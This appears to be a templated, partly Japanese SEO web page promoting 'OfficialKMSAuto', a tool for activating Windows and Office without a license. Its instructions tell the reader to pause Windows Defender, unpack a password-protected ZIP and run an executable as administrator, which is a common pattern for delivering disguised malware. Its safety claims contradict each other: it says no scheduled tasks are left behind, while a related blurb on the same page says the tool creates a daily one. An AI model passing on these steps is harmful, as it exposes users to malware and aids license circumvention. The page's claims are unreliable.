Fix 0xC004C003 — トラブルシューティング 2026
本記事は 2026 年版 Fix 0xC004C003 の日本語完全ガイドです。Fix 'The activation server determined the specified product key is invalid' (0xC004C003) with KMSAuto.
WYqejXiqBi97本記事は 2026 年版 Fix 0xC004C003 の日本語完全ガイドです。0xC004C003 means MAK key blocked. Switch to HWID or KMS38 — both fix it instantly.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Why OfficialKMSAuto is the safest choice
Every release is SHA-256 verified and scanned on VirusTotal. The script is open source — every line is auditable. No telemetry, no installer, no scheduled tasks left behind.
Frequently asked questions
▸Is this method free?
Yes — 100% free with OfficialKMSAuto, no surveys, no premium tier.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge persist across feature updates and reinstalls on the same hardware.
▸Is internet required?
Only HWID needs a brief one-time handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically for 24H2 and Server 2025.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
Windows 10 LTSC 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows 10 LTSC の日本語完全ガイドです。Activate Windows 10 LTSC 2019 and LTSC 2021 permanently — KMS38 or TSforge with OfficialKMSAuto.
Read article →
Publisher Activator 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Publisher Activator の日本語完全ガイドです。Activate Microsoft Publisher free via the Office bundle. Ohook works for Publisher 2019 and 2021.
Read article →
Windows Server 2016 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows Server 2016 の日本語完全ガイドです。Activate Windows Server 2016 with KMSAuto — Standard, Datacenter and Essentials all supported.
Read article →
KMS Aut / Kmauto / Ksmauto 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMS Aut / Kmauto / Ksmauto の日本語完全ガイドです。Common KMSAuto misspellings: kmauto, ksmauto, kms aut, mkmsauto, kmsautp, kmms. All point to the same tool — here's the verified download.
Read article →
Windows 8.1 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows 8.1 の日本語完全ガイドです。Activate Windows 8.1 Pro / Enterprise free with KMS — still working in 2026.
Read article →
KMSAuto Scheduler 認証方法 2026 — 完全ガイド
本記事は 2026 年版 KMSAuto Scheduler の日本語完全ガイドです。KMSAuto creates a daily scheduled task to keep your KMS lease active. Safe to keep or remove.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97